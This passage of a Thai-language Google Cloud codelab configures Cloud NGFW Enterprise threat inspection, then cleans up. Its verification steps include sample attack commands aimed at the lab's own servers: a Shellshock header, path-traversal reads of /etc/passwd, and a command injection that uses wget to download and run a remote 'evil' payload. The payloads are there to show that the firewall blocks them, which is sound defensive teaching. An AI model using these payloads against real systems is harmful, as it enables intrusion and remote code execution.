   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

(ไม่บังคับ) อธิบายกฎของไฟร์วอลล์เพื่อยืนยันว่าอัปเดตทั้ง 2 อย่างสำเร็จแล้ว

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

เอาต์พุตที่คาดไว้:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

กฎ 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

เอาต์พุตที่คาดไว้:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

เปลี่ยนกลับไปใช้ VM ของไคลเอ็นต์แล้วส่งตัวอย่างการโจมตีไปยัง IP เซิร์ฟเวอร์ภายในอีกครั้ง (การตรวจสอบจาก East-West / Intra-VPC)

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้งผ่าน Cloud NAT (การตรวจสอบขาเข้าจากเหนือ-ใต้)

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

เราไม่ได้รับการตอบกลับสำหรับการโจมตีครั้งแรกตามผลลัพธ์ที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าขณะนี้กำลังบล็อกการโจมตีที่มีความรุนแรงสูง

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ไปที่ Network Security > ภัยคุกคามใน Cloud Console ในการยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้งหากการโจมตียังไม่ปรากฏขึ้น)

daa535fcc34873aa.png

เลือกการโจมตี 1 รายการแล้วคลิก "ดูบันทึกการตรวจสอบ" ที่ด้านขวา (เปิดในแท็บใหม่เพื่อให้เปลี่ยนกลับได้อย่างง่ายดาย) ขยายการโจมตีเพื่อแสดงรายละเอียด

5f97cdef79e42eff.png

(ไม่บังคับ) แทนที่ตัวกรองโปรแกรมสำรวจบันทึกด้วยคำค้นหาด้านล่าง

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

รายการบันทึกภัยคุกคามควรปรากฏดังนี้

5ea9581a7eb694c5.png

คุณจะยืนยันแพ็กเก็ตที่ดักจับของ Cloud ไฟร์วอลล์ได้โดยใช้ตัวกรองโปรแกรมสำรวจบันทึกด้านล่าง (มีประโยชน์ในการแก้ปัญหา)

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

ดำเนินการต่อไปยังการตรวจสอบการเข้าชมทางอินเทอร์เน็ต (ไม่บังคับ) หรือปิดเซสชัน SSH แล้วดำเนินการต่อในบทถัดไปเพื่อทำตามขั้นตอนการล้างข้อมูล

[ไม่บังคับ] การตรวจสอบการเข้าชมทางอินเทอร์เน็ต

ตามที่ได้ยืนยันในส่วนก่อนหน้า ขั้นตอนที่ตรวจสอบจนถึงขณะนี้คือการรับส่งข้อมูลภายใน/VPC (ฝั่งตะวันออก-ตะวันตก) และการรับส่งข้อมูลขาเข้าจากอินเทอร์เน็ต (ขาเข้าจากเหนือ-ใต้) นอกจากนี้ ยังกำหนดค่า Cloud NGFW Enterprise เพื่อตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตทั้งหมด (ขาออกจากเหนือและใต้) ได้โดยการสร้างกฎข้อมูลขาออกใหม่โดยใช้ Cloud Shell

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

เปลี่ยนกลับไปใช้ VM ของไคลเอ็นต์และส่งการโจมตีที่มีความรุนแรงสูงไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้งโดยทำดังนี้

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

เอาต์พุตที่คาดไว้:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

เปลี่ยนไปที่แท็บ Threats บน Cloud Console เพื่อยืนยันบันทึก (คุณอาจต้องรีเฟรช 2-3 ครั้ง) ระบบควรตรวจพบการโจมตีดังกล่าวและบันทึกอีกครั้งแล้ว แต่ตอนนี้ IP ต้นทางเป็นแบบภายใน เนื่องจากมีการทริกเกอร์กฎข้อมูลขาออกก่อน

36f8edf264dcddcd.png

ปิดเซสชัน SSH แล้วดำเนินการต่อในหัวข้อถัดไปเพื่อดูขั้นตอนการทำความสะอาด

8. ขั้นตอนการล้างข้อมูล

การล้างข้อมูลคอมโพเนนต์ Cloud NGFW Enterprise

แสดงรายการการเชื่อมโยง Cloud NGFW Enterprise ที่มีอยู่

gcloud network-security firewall-endpoint-associations list

ลบการเชื่อมโยง Cloud NGFW Enterprise ด้วยคำสั่งต่อไปนี้

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

แสดงรายการปลายทาง Cloud NGFW Enterprise ที่มีอยู่

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ลบปลายทาง Cloud NGFW Enterprise ซึ่งอาจใช้เวลาประมาณ 20 นาที

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

ยืนยันว่าได้ลบ Cloud NGFW Enterprise แล้วโดยเรียกใช้คำสั่งด้านล่าง

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์การป้องกันภัยคุกคาม โดยทำดังนี้

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

การล้างข้อมูลการตั้งค่าพื้นฐาน

ทำขั้นตอนถัดไปหากต้องการลบทรัพยากรพื้นฐาน

กำหนดตัวแปรสภาพแวดล้อมหากจำเป็น จาก Cloud Shell ให้ลบคอมโพเนนต์ตัวจัดสรรภาระงานของเครือข่าย โดยทำดังนี้

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

นำอินสแตนซ์ออก

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

(ไม่บังคับ) ทำตามขั้นตอนด้านล่างหากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

นำคีย์และค่าแท็กออก

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ลบนโยบายและการเชื่อมโยงเครือข่าย Cloud ไฟร์วอลล์โดยทำดังนี้

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ลบ Cloud Router และ Cloud NAT ดังนี้

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

ลบที่อยู่ IP ที่จองไว้

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC ดังนี้

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. ยินดีด้วย

ขอแสดงความยินดี คุณดำเนินการตาม Codelab ของ Cloud NGFW Enterprise สำหรับ East-West และ North- South Inspection Codelab เสร็จสมบูรณ์แล้ว